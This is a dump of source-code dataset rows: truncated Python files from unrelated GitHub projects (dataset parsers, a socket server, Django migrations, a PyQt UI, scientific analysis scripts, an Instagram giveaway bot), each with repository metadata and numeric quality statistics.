"HOST": "reprohacks.mysql.eu.pythonanywhere-services.co... | 23.555556 | 92 | 0.617925 | 42 | 424 | 6.142857 | 0.690476 | 0.124031 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012048 | 0.216981 | 424 | 17 | 93 | 24.941176 | 0.76506 | 0 | 0 | 0 | 0 | 0 | 0.464623 | 0.29717 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.076923 | 0.076923 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
75d4c7108b2f1b41145e59273f9e1b78f3a82a47 | 1,109 | py | Python | code/parse-commonsenseQA.py | salesforce/cos-e | fd0cafcc3e30fd24e3e1742934e8fcbf677315c9 | [
"BSD-3-Clause"
] | 138 | 2019-06-27T21:01:43.000Z | 2022-03-17T19:11:19.000Z | code/parse-commonsenseQA.py | salesforce/cos-e | fd0cafcc3e30fd24e3e1742934e8fcbf677315c9 | [
"BSD-3-Clause"
] | 5 | 2019-11-15T00:28:21.000Z | 2020-08-14T03:56:52.000Z | code/parse-commonsenseQA.py | salesforce/cos-e | fd0cafcc3e30fd24e3e1742934e8fcbf677315c9 | [
"BSD-3-Clause"
] | 15 | 2019-07-08T22:58:46.000Z | 2021-06-23T06:21:44.000Z | import jsonlines
import sys
import csv
expl = {}
with open(sys.argv[2], 'rb') as f:
for item in jsonlines.Reader(f):
expl[item['id']] = item['explanation']['open-ended']
with open(sys.argv[1], 'rb') as f:
with open(sys.argv[3],'w') as wf:
wfw = csv.writer(wf,delimiter=',',quotechar='"')
... | 41.074074 | 281 | 0.522994 | 140 | 1,109 | 4.092857 | 0.321429 | 0.125654 | 0.165794 | 0.160558 | 0.08726 | 0.08726 | 0 | 0 | 0 | 0 | 0 | 0.022809 | 0.248873 | 1,109 | 26 | 282 | 42.653846 | 0.665066 | 0 | 0 | 0.083333 | 0 | 0 | 0.23174 | 0.018936 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
75d63fbdff73820decccb46b26c03998961753e7 | 2,464 | py | Python | src/NetworkHandler.py | BlankShrimp/MarkDownald-Server | e2683b790592d38e3c6aa214c92d85fe39630c6a | [
"Apache-2.0"
] | null | null | null | src/NetworkHandler.py | BlankShrimp/MarkDownald-Server | e2683b790592d38e3c6aa214c92d85fe39630c6a | [
"Apache-2.0"
] | null | null | null | src/NetworkHandler.py | BlankShrimp/MarkDownald-Server | e2683b790592d38e3c6aa214c92d85fe39630c6a | [
"Apache-2.0"
] | null | null | null | from socket import *
import json
import JsonParser
import DBHelper
conn = socket(AF_INET, SOCK_STREAM)
conn.bind(('',4687))
conn.listen(40)
while True:
new_conn, addr = conn.accept()
msg = new_conn.recv(1024).decode()
obj = json.loads(msg)
if obj['instruction'] == 'reg':
result = DBHelper.reg... | 44.8 | 127 | 0.628653 | 300 | 2,464 | 5.013333 | 0.206667 | 0.074468 | 0.09508 | 0.119681 | 0.65492 | 0.640957 | 0.59641 | 0.531915 | 0.504654 | 0.438165 | 0 | 0.005008 | 0.189529 | 2,464 | 54 | 128 | 45.62963 | 0.748122 | 0 | 0 | 0.313725 | 0 | 0 | 0.178977 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.196078 | 0.078431 | 0 | 0.078431 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
75e249554bd24d8b2e5e7425bd03d5c17d84d260 | 1,258 | py | Python | scripts/calculate_bound_percentage.py | callsobing/ENCODE_DREAM | 7271ec74b0790c9d6a9282d06918464a4c4b57f5 | [
"MIT"
] | null | null | null | scripts/calculate_bound_percentage.py | callsobing/ENCODE_DREAM | 7271ec74b0790c9d6a9282d06918464a4c4b57f5 | [
"MIT"
] | null | null | null | scripts/calculate_bound_percentage.py | callsobing/ENCODE_DREAM | 7271ec74b0790c9d6a9282d06918464a4c4b57f5 | [
"MIT"
] | null | null | null | import os
def basic_statistics_on_tsv(tsv_path):
suffix_index = tsv_path.rindex(".train.labels.tsv")
tf_name = tsv_path[:suffix_index]
openi = open(tsv_path)
cell_lines = []
line_count = 0
a_count = []
b_count = []
for k in openi:
k = k.rstrip()
splitted = k.split("\t")... | 34.944444 | 85 | 0.533386 | 178 | 1,258 | 3.550562 | 0.337079 | 0.071203 | 0.06962 | 0.052215 | 0.193038 | 0.193038 | 0.193038 | 0.193038 | 0.094937 | 0.094937 | 0 | 0.022196 | 0.319555 | 1,258 | 36 | 86 | 34.944444 | 0.716122 | 0 | 0 | 0 | 0 | 0 | 0.074662 | 0.034154 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.03125 | null | null | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
75e929fc44a01444d065edeb1aa9000d54d017e8 | 3,932 | py | Python | modulecache/backends.py | modusdatascience/modulecache | e02d8e1e5f52abe71e7d76e1f912b1227100e907 | [
"MIT"
] | 1 | 2017-06-12T23:22:39.000Z | 2017-06-12T23:22:39.000Z | modulecache/backends.py | jcrudy/modulecache | e02d8e1e5f52abe71e7d76e1f912b1227100e907 | [
"MIT"
] | null | null | null | modulecache/backends.py | jcrudy/modulecache | e02d8e1e5f52abe71e7d76e1f912b1227100e907 | [
"MIT"
] | null | null | null | from abc import ABCMeta, abstractmethod
from modulecache.base import ModuleCacheValid, nocache
import pickle
import inspect
from toolz.dicttoolz import dissoc, valfilter, itemmap
from toolz.functoolz import complement, flip
from types import ModuleType
import traceback
from itertools import starmap
class ModuleCacheBa... | 37.09434 | 119 | 0.643693 | 441 | 3,932 | 5.514739 | 0.340136 | 0.024671 | 0.025905 | 0.010691 | 0.129112 | 0.092105 | 0.049342 | 0 | 0 | 0 | 0 | 0.001415 | 0.281282 | 3,932 | 105 | 120 | 37.447619 | 0.859165 | 0.067904 | 0 | 0.260274 | 0 | 0 | 0.031056 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.191781 | false | 0.054795 | 0.123288 | 0.041096 | 0.493151 | 0.013699 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
75f273793d9aed336de583937a4f8e63627cbb67 | 1,098 | py | Python | test/unit/TestPluribusDriver.py | napalm-automation-community/napalm-pluribus | 1a700410f7741f29ef52a8b5a9fae989c2d21daf | [
"Apache-2.0"
] | 1 | 2020-04-07T06:39:40.000Z | 2020-04-07T06:39:40.000Z | test/unit/TestPluribusDriver.py | napalm-automation-community/napalm-pluribus | 1a700410f7741f29ef52a8b5a9fae989c2d21daf | [
"Apache-2.0"
] | 1 | 2017-11-09T07:22:02.000Z | 2017-11-09T10:20:38.000Z | test/unit/TestPluribusDriver.py | napalm-automation-community/napalm-pluribus | 1a700410f7741f29ef52a8b5a9fae989c2d21daf | [
"Apache-2.0"
] | 2 | 2018-08-30T05:30:54.000Z | 2020-04-07T06:39:41.000Z | # Copyright 2016 CloudFlare, Inc. All rights reserved.
#
# The contents of this file are licensed under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with the
# License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | 34.3125 | 86 | 0.74408 | 146 | 1,098 | 5.582192 | 0.657534 | 0.07362 | 0.031902 | 0.039264 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020067 | 0.18306 | 1,098 | 31 | 87 | 35.419355 | 0.888517 | 0.546448 | 0 | 0 | 0 | 0 | 0.068182 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0.166667 | 0.25 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
75f8a322321ac5dcf95e8930e3d8f284d2757507 | 764 | py | Python | toastr/migrations/0002_auto_20180305_0626.py | filipgorczynski/django-model-pre-data | ebcd2d572c3720fbf6fb7358afcce34d9bf36d37 | [
"MIT"
] | null | null | null | toastr/migrations/0002_auto_20180305_0626.py | filipgorczynski/django-model-pre-data | ebcd2d572c3720fbf6fb7358afcce34d9bf36d37 | [
"MIT"
] | null | null | null | toastr/migrations/0002_auto_20180305_0626.py | filipgorczynski/django-model-pre-data | ebcd2d572c3720fbf6fb7358afcce34d9bf36d37 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2018-03-05 06:26
from __future__ import unicode_literals
from django.db import migrations
from ..models import PREDEFINED_TOASTR_TYPES
def preinstall_toastr(apps, schema_editor):
ToastrType = apps.get_model('toastr', 'ToastrType')
db_alias = schema_edito... | 22.470588 | 56 | 0.645288 | 82 | 764 | 5.817073 | 0.621951 | 0.067086 | 0.08805 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035211 | 0.256545 | 764 | 33 | 57 | 23.151515 | 0.804577 | 0.086387 | 0 | 0 | 1 | 0 | 0.048921 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.136364 | 0 | 0.318182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f92fdca3d7d3656fc2423a6b1d9322c00c64f8c7 | 835 | py | Python | DataScience/Analytics/sandbox/parsingExample.py | Yasir326/address-index-data | f95da1f5ecda911d5d5a83ce396b33837b629bdd | [
"MIT"
] | 13 | 2016-11-30T16:52:59.000Z | 2021-03-26T23:49:41.000Z | DataScience/Analytics/sandbox/parsingExample.py | Yasir326/address-index-data | f95da1f5ecda911d5d5a83ce396b33837b629bdd | [
"MIT"
] | 84 | 2016-11-17T10:46:54.000Z | 2022-02-24T09:09:31.000Z | DataScience/Analytics/sandbox/parsingExample.py | Yasir326/address-index-data | f95da1f5ecda911d5d5a83ce396b33837b629bdd | [
"MIT"
] | 7 | 2019-01-26T10:43:25.000Z | 2022-02-24T08:53:54.000Z | """
ONS Address Index - Parsing Example
===================================
A simple demonstration how a probabilistic model can be used for parsing.
Uses an existing solution for the demonstration. For real usage, one should
train a model using for example AddressBase data for the best performance.
One should also co... | 22.567568 | 75 | 0.695808 | 110 | 835 | 5.181818 | 0.672727 | 0.063158 | 0.05614 | 0.077193 | 0.098246 | 0.098246 | 0 | 0 | 0 | 0 | 0 | 0.019746 | 0.150898 | 835 | 36 | 76 | 23.194444 | 0.784203 | 0.674252 | 0 | 0 | 0 | 0 | 0.412879 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
f9334432d876121ac8c0349da6c08683e5f03c41 | 2,143 | py | Python | main.py | LopatinaNatalya/instawinner | c03c901abd5396e966035a1688c87ecba1ea58dc | [
"MIT"
] | null | null | null | main.py | LopatinaNatalya/instawinner | c03c901abd5396e966035a1688c87ecba1ea58dc | [
"MIT"
] | null | null | null | main.py | LopatinaNatalya/instawinner | c03c901abd5396e966035a1688c87ecba1ea58dc | [
"MIT"
] | null | null | null | import os, re, argparse
from dotenv import load_dotenv
from instabot import Bot
from pprint import pprint
def get_usernames(text):
# Code: Regex for Instagram Username and Hashtags
# https://blog.jstassen.com/2016/03/code-regex-for-instagram-username-and-hashtags/
pattern = re.compile('(?:@)([A-Za-z0-9... | 33.484375 | 102 | 0.723285 | 290 | 2,143 | 5.082759 | 0.3 | 0.020353 | 0.074627 | 0.012212 | 0.21981 | 0.165536 | 0.130258 | 0.075984 | 0.075984 | 0 | 0 | 0.008264 | 0.153056 | 2,143 | 64 | 103 | 33.484375 | 0.803857 | 0.060196 | 0 | 0 | 0 | 0.022727 | 0.126732 | 0.038481 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0.090909 | 0.090909 | 0.045455 | 0.340909 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
f93f62f4164166b427cf890366335f84829c756d | 8,662 | py | Python | src/pycropml/transpiler/generators/checkGenerator.py | brichet/PyCrop2ML | 7177996f72a8d95fdbabb772a16f1fd87b1d033e | [
"MIT"
] | 5 | 2020-06-21T18:58:04.000Z | 2022-01-29T21:32:28.000Z | src/pycropml/transpiler/generators/checkGenerator.py | brichet/PyCrop2ML | 7177996f72a8d95fdbabb772a16f1fd87b1d033e | [
"MIT"
] | 27 | 2018-12-04T15:35:44.000Z | 2022-03-11T08:25:03.000Z | src/pycropml/transpiler/generators/checkGenerator.py | brichet/PyCrop2ML | 7177996f72a8d95fdbabb772a16f1fd87b1d033e | [
"MIT"
] | 7 | 2019-04-20T02:25:22.000Z | 2021-11-04T07:52:35.000Z | # coding: utf8
from pycropml.transpiler.codeGenerator import CodeGenerator
from pycropml.transpiler.rules.pythonRules import PythonRules
from pycropml.transpiler.generators.docGenerator import DocGenerator
import os
from pycropml.render_cyml import signature
from path import Path
from pycropml.transpiler.Parser import ... | 29.164983 | 86 | 0.530016 | 1,000 | 8,662 | 4.458 | 0.168 | 0.07537 | 0.051144 | 0.06393 | 0.475998 | 0.323239 | 0.232616 | 0.187752 | 0.095559 | 0.052939 | 0 | 0.001805 | 0.360425 | 8,662 | 296 | 87 | 29.263514 | 0.802888 | 0.034865 | 0 | 0.421053 | 0 | 0 | 0.026806 | 0 | 0.004386 | 0 | 0 | 0 | 0 | 1 | 0.197368 | false | 0.083333 | 0.04386 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
f947a05ec6f71b3b703603cd3b8589d7734273dc | 7,472 | py | Python | RAISoft/scripts/TMSCLC.py | daveraees/EMA_Test_Lab | a3073c5ec205d6ee327a993b38e92698c12cb0a6 | [
"MIT"
] | null | null | null | RAISoft/scripts/TMSCLC.py | daveraees/EMA_Test_Lab | a3073c5ec205d6ee327a993b38e92698c12cb0a6 | [
"MIT"
] | null | null | null | RAISoft/scripts/TMSCLC.py | daveraees/EMA_Test_Lab | a3073c5ec205d6ee327a993b38e92698c12cb0a6 | [
"MIT"
] | null | null | null | """
this is script meant perform: Experiemtstemperature-modulated space-charge limited currents
"""
# project libraries imports:
# instruments:
from instruments.TimeMeter import MainTimerClass
from instruments.Keithley import Electrometer6517
from instruments.PID import PIDHeater
from instruments.Agilent import A34401... | 47.592357 | 143 | 0.676793 | 847 | 7,472 | 5.929162 | 0.306966 | 0.026284 | 0.009757 | 0.021505 | 0.1818 | 0.140781 | 0.117284 | 0.117284 | 0.117284 | 0.117284 | 0 | 0.018804 | 0.209984 | 7,472 | 157 | 144 | 47.592357 | 0.83195 | 0.204497 | 0 | 0.322034 | 0 | 0.016949 | 0.164292 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.067797 | null | null | 0.008475 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f94827f426039c6a4d2de928d91ec7a5bebf8d39 | 649 | py | Python | nanoAPI/handler/response.py | Nandan-unni/Nano | fa7c85c85cfa6cc31ff0d98679aafe5be179e8d1 | [
"MIT"
] | 2 | 2021-01-31T17:27:50.000Z | 2021-02-12T17:52:43.000Z | nanoAPI/handler/response.py | Nandan-unni/Nano | fa7c85c85cfa6cc31ff0d98679aafe5be179e8d1 | [
"MIT"
] | 4 | 2021-02-10T10:25:26.000Z | 2021-02-12T15:36:08.000Z | nanoAPI/handler/response.py | Nandan-unni/Nano | fa7c85c85cfa6cc31ff0d98679aafe5be179e8d1 | [
"MIT"
] | null | null | null | from ..utils import log
from .status import get_status_text
import json
class Response:
def __init__(self, status=200, data={}):
self.status_code = int(status)
self.status_text = str(get_status_text[self.status_code])
self.status_msg = str(self.status_code) + " " + self.status_text
... | 28.217391 | 72 | 0.628659 | 83 | 649 | 4.578313 | 0.39759 | 0.236842 | 0.147368 | 0.142105 | 0.210526 | 0.147368 | 0 | 0 | 0 | 0 | 0 | 0.012146 | 0.238829 | 649 | 22 | 73 | 29.5 | 0.757085 | 0 | 0 | 0 | 0 | 0 | 0.083205 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.166667 | 0.055556 | 0.388889 | 0.055556 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f948c1b8c65eb452c35b4db6c71410032c9957c0 | 35,028 | py | Python | ui/mainWindow.py | LeoSf/HypLabTool | ffc6e1d2cf9087e5ec96b46f5b8733eabf43483c | [
"MIT"
] | 1 | 2021-08-20T09:26:15.000Z | 2021-08-20T09:26:15.000Z | ui/mainWindow.py | LeoSf/HypLabTool | ffc6e1d2cf9087e5ec96b46f5b8733eabf43483c | [
"MIT"
] | null | null | null | ui/mainWindow.py | LeoSf/HypLabTool | ffc6e1d2cf9087e5ec96b46f5b8733eabf43483c | [
"MIT"
] | 1 | 2019-12-07T13:54:58.000Z | 2019-12-07T13:54:58.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'ui/mainWindow.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
Mai... | 63.803279 | 542 | 0.750228 | 3,940 | 35,028 | 6.471066 | 0.133503 | 0.026357 | 0.015689 | 0.032123 | 0.470701 | 0.388218 | 0.315971 | 0.275926 | 0.21572 | 0.195442 | 0 | 0.018865 | 0.152564 | 35,028 | 548 | 543 | 63.919708 | 0.840049 | 0.00531 | 0 | 0.142322 | 1 | 0.024345 | 0.16771 | 0.004765 | 0 | 0 | 0 | 0 | 0 | 1 | 0.003745 | false | 0 | 0.007491 | 0 | 0.013109 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f94c0af4b6544fdaadf6b738895b2d91701b6078 | 14,297 | py | Python | flu/src/predict_flu.py | iosonofabio/FitnessInference | 3de97a9301733ac9e47ebc78f4e76f7530ccb538 | [
"MIT"
] | 11 | 2015-08-24T05:20:56.000Z | 2021-08-13T13:58:31.000Z | flu/src/predict_flu.py | iosonofabio/FitnessInference | 3de97a9301733ac9e47ebc78f4e76f7530ccb538 | [
"MIT"
] | 3 | 2015-08-24T04:43:25.000Z | 2021-07-06T00:33:44.000Z | flu/src/predict_flu.py | iosonofabio/FitnessInference | 3de97a9301733ac9e47ebc78f4e76f7530ccb538 | [
"MIT"
] | 3 | 2019-08-30T18:52:49.000Z | 2021-06-15T06:47:04.000Z | #########################################################################################
#
# author: Richard Neher
# email: richard.neher@tuebingen.mpg.de
#
# Reference: Richard A. Neher, Colin A Russell, Boris I Shraiman.
# "Predicting evolution from the shape of genealogical trees"
#
####################... | 38.850543 | 123 | 0.579912 | 1,725 | 14,297 | 4.633043 | 0.26029 | 0.014264 | 0.022523 | 0.017893 | 0.17968 | 0.121997 | 0.11036 | 0.078579 | 0.078579 | 0.078579 | 0 | 0.027145 | 0.293978 | 14,297 | 367 | 124 | 38.956403 | 0.764613 | 0.121494 | 0 | 0.214634 | 0 | 0 | 0.065702 | 0.009544 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.053659 | null | null | 0.068293 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f950c7b84bd8efe644a7c5079bedb63dfa6f9574 | 36,414 | py | Python | tools/rgenetics/plinkbinJZ.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | 2 | 2016-02-23T00:09:14.000Z | 2019-02-11T07:48:44.000Z | tools/rgenetics/plinkbinJZ.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | null | null | null | tools/rgenetics/plinkbinJZ.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | 6 | 2015-05-27T13:09:50.000Z | 2019-02-11T07:48:46.000Z | #!/usr/bin/env python2.4
"""
"""
import optparse,os,subprocess,gzip,struct,time,commands
from array import array
#from AIMS import util
#from pga import util as pgautil
__FILE_ID__ = '$Id: plinkbinJZ.py,v 1.14 2009/07/13 20:16:50 rejpz Exp $'
VERBOSE = True
MISSING_ALLELES = set(['N', '0', '.', '-','... | 41.903337 | 128 | 0.481628 | 5,132 | 36,414 | 3.322097 | 0.14127 | 0.094316 | 0.02833 | 0.007508 | 0.457739 | 0.252801 | 0.225996 | 0.194967 | 0.179483 | 0.163001 | 0 | 0.089032 | 0.341764 | 36,414 | 868 | 129 | 41.951613 | 0.622262 | 0.042758 | 0 | 0.369497 | 0 | 0.003145 | 0.072043 | 0.001423 | 0 | 0 | 0 | 0.001152 | 0.001572 | 0 | null | null | 0.014151 | 0.011006 | null | null | 0.053459 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f958b898ead71f74e8cf12a84db0b9b3a74af22e | 935 | py | Python | muctodo-backend/urls.py | phen0menon/muctodo-backend | 204497a989bbaed24a4f86990e5ce5f35cd95af1 | [
"MIT"
] | null | null | null | muctodo-backend/urls.py | phen0menon/muctodo-backend | 204497a989bbaed24a4f86990e5ce5f35cd95af1 | [
"MIT"
] | 4 | 2021-03-30T12:44:38.000Z | 2021-09-22T18:37:18.000Z | muctodo-backend/urls.py | phen0menon/muctodo-backend | 204497a989bbaed24a4f86990e5ce5f35cd95af1 | [
"MIT"
] | null | null | null | from django.conf.urls import url
from django.urls import path, include
from rest_framework_swagger.views import get_swagger_view
from rest_framework import permissions
from drf_yasg.views import get_schema_view
from drf_yasg import openapi
from rest_framework_jwt.authentication import JSONWebTokenAuthentication
from re... | 32.241379 | 76 | 0.754011 | 111 | 935 | 6.135135 | 0.414414 | 0.073421 | 0.099853 | 0.04699 | 0.067548 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003774 | 0.149733 | 935 | 28 | 77 | 33.392857 | 0.85283 | 0 | 0 | 0 | 0 | 0 | 0.100535 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.32 | 0 | 0.32 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
f95d6c6b28d21cdf41a3aba7686dca47e173a118 | 1,877 | py | Python | ris_widget/object_model/uniform_signaling_list.py | drew-sinha/RisWidget | 73e677b5133c176391e8c43df40ed59b747c770d | [
"MIT"
] | null | null | null | ris_widget/object_model/uniform_signaling_list.py | drew-sinha/RisWidget | 73e677b5133c176391e8c43df40ed59b747c770d | [
"MIT"
] | 1 | 2020-07-17T19:05:39.000Z | 2020-07-17T19:05:39.000Z | ris_widget/object_model/uniform_signaling_list.py | drew-sinha/RisWidget | 73e677b5133c176391e8c43df40ed59b747c770d | [
"MIT"
] | 2 | 2019-08-22T19:04:33.000Z | 2020-07-24T21:03:37.000Z | # This code is licensed under the MIT License (see LICENSE file for details)
from .signaling_list import SignalingList
class UniformSignalingList(SignalingList):
"""
UniformSignalingList: A SignalingList whose elements are transformed and/or
validated by the take_input_element method.
take_input_elem... | 38.306122 | 92 | 0.720831 | 236 | 1,877 | 5.322034 | 0.368644 | 0.06449 | 0.11465 | 0.079618 | 0.156847 | 0.084395 | 0 | 0 | 0 | 0 | 0 | 0 | 0.199787 | 1,877 | 48 | 93 | 39.104167 | 0.836218 | 0.380927 | 0 | 0.090909 | 0 | 0 | 0.003617 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.227273 | false | 0 | 0.045455 | 0 | 0.318182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f964a52c5163c7b64984493326e35d9ea18076a9 | 2,460 | py | Python | silex/engines/thread.py | redstone-project/silex | 53be928038cae9c1d2974d2311b5ee12c2325050 | [
"MIT"
] | null | null | null | silex/engines/thread.py | redstone-project/silex | 53be928038cae9c1d2974d2311b5ee12c2325050 | [
"MIT"
] | null | null | null | silex/engines/thread.py | redstone-project/silex | 53be928038cae9c1d2974d2311b5ee12c2325050 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
"""
silex.engines.thread
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
基于thread的各种engine
:author: lightless <root@lightless.me>
:homepage: None
:license: GPL-3.0, see LICENSE for more details.
:copyright: Copyright (c) 2017-2019 lightless. All rights res... | 23.428571 | 93 | 0.61748 | 286 | 2,460 | 5.15035 | 0.339161 | 0.054311 | 0.027155 | 0.054311 | 0.473863 | 0.452138 | 0.405974 | 0.346232 | 0.278344 | 0.230821 | 0 | 0.008864 | 0.26626 | 2,460 | 104 | 94 | 23.653846 | 0.807202 | 0.180081 | 0 | 0.458333 | 0 | 0 | 0.020608 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.208333 | false | 0.041667 | 0.125 | 0.041667 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f96a37446958818e5999695db515fd58f080660f | 2,981 | py | Python | yandex/cloud/mdb/clickhouse/v1/versions_service_pb2_grpc.py | korsar182/python-sdk | 873bf2a9b136a8f2faae72e86fae1f5b5c3d896a | [
"MIT"
